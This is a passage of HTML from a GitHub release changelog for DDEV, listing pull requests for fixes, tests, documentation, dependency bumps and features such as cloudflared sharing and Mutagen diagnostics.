<li>fix: use correct condition for host ports, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3693511292" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7920" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7920/hovercard" href="https://github.com/ddev/ddev/issues/7920">#7920</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3694772398" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7922" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7922/hovercard" href="https://github.com/ddev/ddev/pull/7922">#7922</a></li>
<li>fix(ddev-ssh-agent): Update ddev-ssh-agent to base on Trixie and accept PKCS8 RSA keys, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1653998930" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/4802" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/4802/hovercard" href="https://github.com/ddev/ddev/issues/4802">#4802</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3716441913" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7933" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7933/hovercard" href="https://github.com/ddev/ddev/pull/7933">#7933</a></li>
<li>fix(docker): support SELinux shared label, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2984740969" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7196" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7196/hovercard" href="https://github.com/ddev/ddev/issues/7196">#7196</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3723914792" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7939" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7939/hovercard" href="https://github.com/ddev/ddev/pull/7939">#7939</a></li>
<li>build(deps): bump actions/cache from 4 to 5 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730870250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7944" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7944/hovercard" href="https://github.com/ddev/ddev/pull/7944">#7944</a></li>
<li>build(deps): bump actions/upload-artifact from 5 to 6 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730869671" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7943" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7943/hovercard" href="https://github.com/ddev/ddev/pull/7943">#7943</a></li>
<li>fix: convert Windows installer to per-user installation, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3575314275" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7776" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7776/hovercard" href="https://github.com/ddev/ddev/issues/7776">#7776</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3713015842" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7931" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7931/hovercard" href="https://github.com/ddev/ddev/pull/7931">#7931</a></li>
<li>feat: support using zstd for snapshots, fix <code>postgres:9</code> snapshot, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616597924" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7844" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7844/hovercard" href="https://github.com/ddev/ddev/issues/7844">#7844</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1127360922" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/3583" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/3583/hovercard" href="https://github.com/ddev/ddev/issues/3583">#3583</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deviantintegral/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deviantintegral">@deviantintegral</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3616747625" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7845" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7845/hovercard" href="https://github.com/ddev/ddev/pull/7845">#7845</a></li>
<li>fix: only create volume for configured db type, add project label by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3720288833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7937" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7937/hovercard" href="https://github.com/ddev/ddev/pull/7937">#7937</a></li>
<li>feat: restart supervisor for generic webserver and blackfire, xdebug, xhprof, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3728157390" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7941" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7941/hovercard" href="https://github.com/ddev/ddev/issues/7941">#7941</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3712251719" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev-frankenphp/issues/44" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev-frankenphp/issues/44/hovercard" href="https://github.com/ddev/ddev-frankenphp/issues/44">ddev/ddev-frankenphp#44</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3731758265" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7945" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7945/hovercard" href="https://github.com/ddev/ddev/pull/7945">#7945</a></li>
<li>fix(router): ensure Traefik dashboard port is always bound to localhost by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUVOJustin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUVOJustin">@JUVOJustin</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730518709" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7942" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7942/hovercard" href="https://github.com/ddev/ddev/pull/7942">#7942</a></li>
<li>fix: fail on <code>ddev start</code> for docker-rootless w/o no-bind-mounts, don't test with latest rootless by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3738663620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7952" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7952/hovercard" href="https://github.com/ddev/ddev/pull/7952">#7952</a></li>
<li>fix: remove stale target files in getBackupCommand to prevent "Is a directory" errors, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3718149196" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7936" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7936/hovercard" href="https://github.com/ddev/ddev/issues/7936">#7936</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3720369430" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7938" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7938/hovercard" href="https://github.com/ddev/ddev/pull/7938">#7938</a></li>
<li>fix(windows): Change FindBashPath to detect user-local Git Bash installations on Windows, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3735819794" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7948" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7948/hovercard" href="https://github.com/ddev/ddev/issues/7948">#7948</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3736233337" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7949" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7949/hovercard" href="https://github.com/ddev/ddev/pull/7949">#7949</a></li>
<li>test(lima): force limactl stop [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3744194229" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7957" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7957/hovercard" href="https://github.com/ddev/ddev/pull/7957">#7957</a></li>
<li>docs(ssh): Explain what to do when remote host identification has changed, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3734385388" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7946" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7946/hovercard" href="https://github.com/ddev/ddev/issues/7946">#7946</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3743993887" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7956" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7956/hovercard" href="https://github.com/ddev/ddev/pull/7956">#7956</a></li>
<li>feat(share): Rework <code>ddev share</code>, add cloudflared share provider, enhance tests, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3579685928" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7784" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7784/hovercard" href="https://github.com/ddev/ddev/issues/7784">#7784</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2435853250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6441" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6441/hovercard" href="https://github.com/ddev/ddev/issues/6441">#6441</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3595452314" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7802" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7802/hovercard" href="https://github.com/ddev/ddev/pull/7802">#7802</a></li>
<li>docs(codespaces): persist global config on codespaces, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2308791511" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6228" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6228/hovercard" href="https://github.com/ddev/ddev/issues/6228">#6228</a> [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3745175516" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7958" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7958/hovercard" href="https://github.com/ddev/ddev/pull/7958">#7958</a></li>
<li>test(buildkite): Make sure to clean up global traefik dir [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3751522568" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7965" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7965/hovercard" href="https://github.com/ddev/ddev/pull/7965">#7965</a></li>
<li>test(windows): Fix timing bug in TestWindowsInstallerWSL2 polling loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3751448862" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7964" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7964/hovercard" href="https://github.com/ddev/ddev/pull/7964">#7964</a></li>
<li>test(share): fix TestShareCmdProviderSystem/ProviderArgsFlag assertion, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3745929213" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7959" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7959/hovercard" href="https://github.com/ddev/ddev/issues/7959">#7959</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3748079866" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7960" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7960/hovercard" href="https://github.com/ddev/ddev/pull/7960">#7960</a></li>
<li>test: Stop using old version of memcached to prevent output about docker-compose version tag [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3754794611" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7973" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7973/hovercard" href="https://github.com/ddev/ddev/pull/7973">#7973</a></li>
<li>fix(platform): Resume environment if not running by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3754724806" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7972" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7972/hovercard" href="https://github.com/ddev/ddev/pull/7972">#7972</a></li>
<li>build(deps): install tzdata-legacy for Debian 13 Trixie by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3754280745" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7971" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7971/hovercard" href="https://github.com/ddev/ddev/pull/7971">#7971</a></li>
<li>fix: show correct project name in <code>ddev mutagen st</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3753387591" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7969" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7969/hovercard" href="https://github.com/ddev/ddev/issues/7969">#7969</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3753474436" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7970" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7970/hovercard" href="https://github.com/ddev/ddev/pull/7970">#7970</a></li>
<li>test(buildkite): Use colima stop -f to force stop [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3758779244" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7977" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7977/hovercard" href="https://github.com/ddev/ddev/pull/7977">#7977</a></li>
<li>docs: add cloudflare warp networking instructions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lguigo22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lguigo22">@lguigo22</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3756979012" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7975" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7975/hovercard" href="https://github.com/ddev/ddev/pull/7975">#7975</a></li>
<li>docs: lima template creation for users [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765100578" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7985" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7985/hovercard" href="https://github.com/ddev/ddev/pull/7985">#7985</a></li>
<li>docs(developer): Update template syntax for lima in developer docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765099554" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7984" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7984/hovercard" href="https://github.com/ddev/ddev/pull/7984">#7984</a></li>
<li>test: show ddev version at start of tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765028533" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7983" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7983/hovercard" href="https://github.com/ddev/ddev/pull/7983">#7983</a></li>
<li>fix(traefik): Convert Traefik configuration errors to warnings instead of failures by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3751597410" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7967" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7967/hovercard" href="https://github.com/ddev/ddev/pull/7967">#7967</a></li>
<li>fix(test): Force TestDownloadFileRetryLogic to work even if DDEV_DEBUG wasn't set [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765149784" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7986" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7986/hovercard" href="https://github.com/ddev/ddev/pull/7986">#7986</a></li>
<li>refactor: systematize #ddev-generated signature checking by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3764929539" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7982" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7982/hovercard" href="https://github.com/ddev/ddev/pull/7982">#7982</a></li>
<li>feat: Add <code>ddev utility mutagen-diagnose</code> command for Mutagen troubleshooting, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3538536243" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7740" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7740/hovercard" href="https://github.com/ddev/ddev/issues/7740">#7740</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765952291" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7988" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7988/hovercard" href="https://github.com/ddev/ddev/pull/7988">#7988</a></li>
<li>fix(router): Improve Traefik healthcheck for better router verification by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3764922813" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7981" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7981/hovercard" href="https://github.com/ddev/ddev/pull/7981">#7981</a></li>
<li>test(buildkite): Clean up lima and colima containers at start by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3782674572" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8006" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8006/hovercard" href="https://github.com/ddev/ddev/pull/8006">#8006</a></li>
<li>test(github): Allow skipping github tests with [skip github] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3783024777" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8007" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8007/hovercard" href="https://github.com/ddev/ddev/pull/8007">#8007</a></li>
<li>fix(router): Prevent unnecessary router re-creation when bound ports unchanged, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2644155987" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6703" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6703/hovercard" href="https://github.com/ddev/ddev/issues/6703">#6703</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3770381899" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7992" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7992/hovercard" href="https://github.com/ddev/ddev/pull/7992">#7992</a></li>
<li>fix(composer): warn that global and self-update changes don't persist, use <code>stable</code> for empty <code>composer_version</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3772425983" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7993" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7993/hovercard" href="https://github.com/ddev/ddev/issues/7993">#7993</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3772755620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7995" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7995/hovercard" href="https://github.com/ddev/ddev/pull/7995">#7995</a></li>
<li>feat: add <code>--no-cache</code> flag for <code>ddev start</code> and <code>ddev restart</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3776267513" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7999" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7999/hovercard" href="https://github.com/ddev/ddev/pull/7999">#7999</a></li>
<li>fix(router): healthcheck after new config must happen as normal user by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789985132" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8010" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8010/hovercard" href="https://github.com/ddev/ddev/pull/8010">#8010</a></li>
<li>test(traefik): improve reliability of traefik.bats router API tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3794407933" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8013" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8013/hovercard" href="https://github.com/ddev/ddev/pull/8013">#8013</a></li>
<li>docs: separate CLAUDE.md from AGENTS.md with focused content by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shaal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shaal">@shaal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3793577139" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8011" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8011/hovercard" href="https://github.com/ddev/ddev/pull/8011">#8011</a></li>
<li>feat: include additional ssh config files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codebymikey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codebymikey">@codebymikey</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789513134" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8008" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8008/hovercard" href="https://github.com/ddev/ddev/pull/8008">#8008</a></li>
<li>fix(tests): make GitHub release downloads more resilient [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3797908891" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8015" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8015/hovercard" href="https://github.com/ddev/ddev/pull/8015">#8015</a></li>
<li>chore(codespaces): Use newer test project for codespaces, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3801291888" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8017" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8017/hovercard" href="https://github.com/ddev/ddev/issues/8017">#8017</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3806578177" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8022" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8022/hovercard" href="https://github.com/ddev/ddev/pull/8022">#8022</a></li>
